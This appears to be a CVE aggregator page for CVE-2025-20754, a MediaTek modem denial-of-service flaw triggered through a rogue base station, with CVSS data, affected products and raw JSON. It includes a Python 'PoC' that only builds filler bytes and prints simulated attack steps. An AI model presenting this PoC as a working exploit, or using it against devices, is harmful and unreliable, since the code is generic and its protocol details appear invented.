Security Vulnerability Report
中文
CVE-2025-20754 CVSS 5.3 MEDIUM

CVE-2025-20754

Published: 2025-12-02 03:16:17
Last Modified: 2025-12-04 13:30:07

Description

In Modem, there is a possible system crash due to an incorrect bounds check. This could lead to remote denial of service, if a UE has connected to a rogue base station controlled by the attacker, with no additional execution privileges needed. User interaction is not needed for exploitation. Patch ID: MOLY01689251; Issue ID: MSV-4840.

CVSS Details

CVSS Score
5.3
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:N/I:N/A:H

Configurations (Affected Products)

cpe:2.3:o:mediatek:nr15:-:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:o:mediatek:nr16:-:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:o:mediatek:nr17:-:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:o:mediatek:nr17r:-:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:h:mediatek:mt2735:-:*:*:*:*:*:*:* - NOT VULNERABLE
cpe:2.3:h:mediatek:mt2737:-:*:*:*:*:*:*:* - NOT VULNERABLE
cpe:2.3:h:mediatek:mt6813:-:*:*:*:*:*:*:* - NOT VULNERABLE
cpe:2.3:h:mediatek:mt6833:-:*:*:*:*:*:*:* - NOT VULNERABLE
cpe:2.3:h:mediatek:mt6833p:-:*:*:*:*:*:*:* - NOT VULNERABLE
MediaTek Modem firmware (MOLY01689251 patch之前版本)
使用MediaTek Modem芯片的移动设备 (具体版本需参考厂商公告)

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# CVE-2025-20754 PoC - MediaTek Modem Rogue Base Station Attack # This PoC demonstrates the attack concept for triggering the bounds check vulnerability # Note: Actual implementation requires SDR hardware and 3GPP protocol栈 knowledge import struct def create_malicious_rrc_message(): """ Create a malicious RRC message to trigger bounds check error in MediaTek Modem """ # RRC Connection Setup Request with malformed parameters rrc_msg = bytearray() # Message Type: RRC Connection Request rrc_msg.extend([0x00, 0x01]) # UE Identity - randomly generated rrc_msg.extend([0x00] * 20) # Establishment Cause rrc_msg.extend([0x02]) # Add malformed/spiked data to trigger bounds check error # This represents arbitrary data that could cause buffer overflow for i in range(256): rrc_msg.extend([0xFF, 0xFF, 0xFF, 0xFF]) return bytes(rrc_msg) def create_nas_message_with_invalid_tlv(): """ Create NAS message with invalid TLV structure to trigger vulnerability """ nas_msg = bytearray() # NAS Header nas_msg.extend([0x00, 0x41]) # EPS Mobility Management Message Type nas_msg.extend([0xC0]) # Protocol Discriminator nas_msg.extend([0x07]) # Insert malformed TLV elements with invalid length # that could bypass bounds checking nas_msg.extend([0xFF, 0x00, 0x00]) # Invalid type, zero length nas_msg.extend([0xFF, 0xFF, 0xFF]) # Invalid type, max length return bytes(nas_msg) def simulate_attack_sequence(): """ Simulate the attack sequence for demonstration purposes """ print("[*] Setting up rogue base station (eNB/gNB)...") print("[*] Broadcasting false SIB (System Information Blocks)...") print("[*] Waiting for target UE to attach...") print("[*] UE attached to rogue base station") print("[*] Sending malicious RRC/NAS messages...") rrc_payload = create_malicious_rrc_message() nas_payload = create_nas_message_with_invalid_tlv() print(f"[*] RRC payload size: {len(rrc_payload)} bytes") print(f"[*] NAS payload size: {len(nas_payload)} bytes") print("[*] Payload sent - triggering bounds check vulnerability...") print("[!] Target Modem should crash/restart") return True if __name__ == "__main__": print("CVE-2025-20754 MediaTek Modem Bounds Check Vulnerability PoC") print("=" * 60) simulate_attack_sequence()

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-20754", "sourceIdentifier": "[email protected]", "published": "2025-12-02T03:16:16.627", "lastModified": "2025-12-04T13:30:07.043", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "In Modem, there is a possible system crash due to an incorrect bounds check. This could lead to remote denial of service, if a UE has connected to a rogue base station controlled by the attacker, with no additional execution privileges needed. User interaction is not needed for exploitation. Patch ID: MOLY01689251; Issue ID: MSV-4840."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:N/I:N/A:H", "baseScore": 5.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.6, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-248"}]}], "configurations": [{"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:mediatek:nr15:-:*:*:*:*:*:*:*", "matchCriteriaId": "E30A2D2E-6A72-4070-A471-EEE75F7D07F2"}, {"vulnerable": true, "criteria": "cpe:2.3:o:mediatek:nr16:-:*:*:*:*:*:*:*", "matchCriteriaId": "2B763B71-F913-45B4-B91E-D7F0670C4315"}, {"vulnerable": true, "criteria": "cpe:2.3:o:mediatek:nr17:-:*:*:*:*:*:*:*", "matchCriteriaId": "66F8874B-DBF1-4A67-8ADF-4654AB56B6A8"}, {"vulnerable": true, "criteria": "cpe:2.3:o:mediatek:nr17r:-:*:*:*:*:*:*:*", "matchCriteriaId": "BC63582A-F9A5-4450-A263-CE1FD4B4F3AC"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:h:mediatek:mt2735:-:*:*:*:*:*:*:*", "matchCriteriaId": "7F1D09FC-5BE9-4B23-82F1-3C6EAC5711A6"}, {"vulnerable": false, "criteria": "cpe:2.3:h:mediatek:mt2737:-:*:*:*:*:*:*:*", "matchCriteriaId": "9C2A1118-B5F7-4EF5-B329-0887B5F3430E"}, {"vulnerable": false, "criteria": "cpe:2.3:h:mediatek:mt6813:-:*:*:*:*:*:*:*", "matchCriteriaId": "66F9EAE4-F1D7-46DB-AA2A-0290F6EF0501"}, {"vulnerable": false, "criteria": "cpe:2.3:h:mediatek:mt6833:-:*:*:*:*:*:*:*", "matchCriteriaId": "9814939B-F05E-4870-90C0-7C0F6BAAEB39"}, {"vulnerable": false, "criteria": "cpe:2.3:h:mediatek:mt6833p:-:*:*:*:*:*:*:*", "matchCriteriaId": "CB690F5A-9367-45D3-A53E-80BF60053630"}, {"vulnerable": false, "criteria": "cpe:2.3:h:mediatek:mt6835:-:*:*:*:*:*:*:*", "matchCriteriaId": "19A63103-C708-48EC-B44D-5E465A6B79C5"}, {"vulnerable": false, "criteria": "cpe:2.3:h:mediatek:mt6835t:-:*:*:*:*:*:*:*", "matchCriteriaId": "C7FE7DBA-479C-402B-8485-9D14E70F25EB"}, {"vulnerable": false, "criteria": "cpe:2.3:h:mediatek:mt6853:-:*:*:*:*:*:*:*", "matchCriteriaId": "366F1912-756B-443E-9962-224937DD7DFB"}, {"vulnerable": false, "criteria": "cpe:2.3:h:mediatek:mt6853t:-:*:*:*:*:*:*:*", "matchCriteriaId": "328DA6BE-1303-4646-89B7-2EC8DC444532"}, {"vulnerable": false, "criteria": "cpe:2.3:h:mediatek:mt6855:-:*:*:*:*:*:*:*", "matchCriteriaId": "89AFEE24-7AAD-4EDB-8C3E-EDBA3240730A"}, {"vulnerable": false, "criteria": "cpe:2.3:h:mediatek:mt6855t:-:*:*:*:*:*:*:*", "matchCriteriaId": "083F6134-FF26-4F1B-9B77-971D342AF774"}, {"vulnerable": false, "criteria": "cpe:2.3:h:mediatek:mt6873:-:*:*:*:*:*:*:*", "matchCriteriaId": "F6B8A36E-C5FB-44AE-A1C3-50EBF4C68F6B"}, {"vulnerable": false, "criteria": "cpe:2.3:h:mediatek:mt6875:-:*:*:*:*:*:*:*", "matchCriteriaId": "80BDC5EC-E822-4BC7-8C0D-E8AD8396E8FE"}, {"vulnerable": false, "criteria": "cpe:2.3:h:mediatek:mt6875t:-:*:*:*:*:*:*:*", "matchCriteriaId": "F883C6D3-1724-4553-9EFC-3D204FF3CAA3"}, {"vulnerable": false, "criteria": "cpe:2.3:h:mediatek:mt6877:-:*:*:*:*:*:*:*", "matchCriteriaId": "7CA9352F-E9BD-4656-9B7C-4AFEE2C78E58"}, {"vulnerable": false, "criteria": "cpe:2.3:h:mediatek:mt6877t:-:*:*:*:*:*:*:*", "matchCriteriaId": "EFA54AA1-4E3A-44F8-A222-31C60F8F81DA"}, {"vulnerable": false, "criteria": "cpe:2.3:h:mediatek:mt6877tt:-:*:*:*:*:*:*:*", "matchCriteriaId": "5D4D6885-E18C-477F-8B6D-B9E84D9535E2"}, {"vulnerable": false, "criteria": "cpe:2.3:h:mediatek:mt6878:-:*:*:*:*:*:*:*", "matchCriteriaId": "855A8046-34ED-4891-ACE5-76AB10AC8D53"}, {"vulnerable": false, "criteria": "cpe:2.3:h:mediatek:mt6878m:-:*:*:*:*:*:*:*", "matchCriteriaId": "483B6FB0-D683-4F3C-BA5B-6C9852179854"}, {"vulnerable": false, "criteria": "cpe:2.3:h:mediatek:mt6879:-:*:*:*:*:*:*:*", "matchCriteriaId": "704BE5CE-AE08-4432-A8B0-4C8BD62148AD"}, {"vulnerable": false, "criteria": "cpe:2.3:h:mediatek:mt6880:-:*:*:*:*:*:*:*", "matchCriteriaId": "68CF4A7A-3136-4C4C-A795-81323896BE11"}, {"vulnerable": false, "criteria": "cpe:2.3:h:mediatek:mt6883:-:*:*:*:*:*:*:*", "matchCriteriaId": "15E2EC3F-9FB3-488B-B1C1-2793A416C755"}, {"vulnerabl ... (truncated)